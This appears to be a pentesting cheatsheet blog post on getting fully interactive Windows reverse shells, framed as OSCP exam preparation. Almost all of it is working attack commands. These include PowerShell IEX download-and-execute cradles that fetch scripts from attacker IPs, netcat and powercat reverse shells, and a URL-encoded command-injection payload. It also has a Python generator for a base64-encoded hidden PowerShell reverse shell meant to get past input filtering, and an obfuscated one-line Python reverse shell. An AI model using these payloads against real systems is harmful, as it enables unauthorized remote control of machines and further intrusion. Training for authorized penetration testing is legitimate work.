z3k0sec
open main menu
Part of series: cheatsheet

Fully interactive Windows Reverse Shell

/ 4 min read

Introduction

In this post, we’ll explore various methods for achieving a fully interactive Windows reverse shell, from leveraging built-in tools to employing advanced techniques for better control and functionality.

Via Invoke-ConPtyShell

My go-to pick to get a fully interactive Windows reverse shell is via Invoke-ConPtyShell script. Useful when Windows shell do not give any output and gives odd behaviour. (e.g. mimikatz can not be started, winpeas, etc.)

Location: /usr/share/nishang/Shells/Invoke-ConPtyShell.ps1

Copy Invoke-ConPtyShell.ps1 into current working directory:

cp /usr/share/nishang/Shells/Invoke-ConPtyShell.ps1 .

Host the file via:

┌──(kali㉿kali)-[~]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

On Kali (attacking machine):

stty raw -echo; (stty size; cat) | nc -lvnp 9001
  • set up netcat listener on port 9001

On the target:

[powershell] IEX(IWR http://192.168.45.236:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.45.236 9001

Note: If this method fails and you fail to upgrade your shell, try to spawn a new reverse shell via nc64.exe (as shown below) and try Invoke-ConPtyShell again

netcat (nc.exe)

Download the nc64.exe binary.

.\nc.exe -e cmd.exe <Attacker_IP> <PORT>

Note: Make sure to have a listener handler running to catch our connection.

Powershell

In Powershell, there are multiple ways to spawn a reverse shell.

Use IWR to download a custom shell.ps1 script and execute it via IEX.

powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"

Directly download and execute your custom Powershell script.

powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"

Alternative A:

Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"

Altnernative B:

echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile

Powercat.ps1

Another powerful tool to spawn reverse shells is called Powercat.

cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .

Download the powercat.ps1 script and execute it to connect to our listener in port 9001.

IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.45.196:8081/powercat.ps1");powercat -c 192.168.45.196 -p 9001 -e powershell

Let’s say that we have a (remote) code execution in a command parameter in a web application. We can use the command injection to download our powercat script and run it to establish a reverse shell connection with the target server.

curl -X POST --data 'command=%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.45.196:8081%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.45.196:8081%20-p%209001%20-e%20powershell' http://192.168.45.196:8081/evil_endpoint

generate_powershell_reverse.py

My favorite way to generate a base64 encoded reverse shell in Powershell is by using this script:

import sys
import base64

payload = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.236",9443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'

cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()

print(cmd)

Just change the local ip and local port and run it via python3 generate_powershell_reverse.py.

It will provide you with a similar output, so there’s no need to worry about backend filtering (e.g., special characters, whitespaces).

powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUA...

python

If the compromised Windows host has python installed, we can use this to spawn a reverse shell:

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"

Conclusion

Mastering these methods for obtaining a fully interactive Windows reverse shell is practical skill that can significantly impact your performance during the OSCP exam. It will help you gain deeper access and control over the target Windows systems.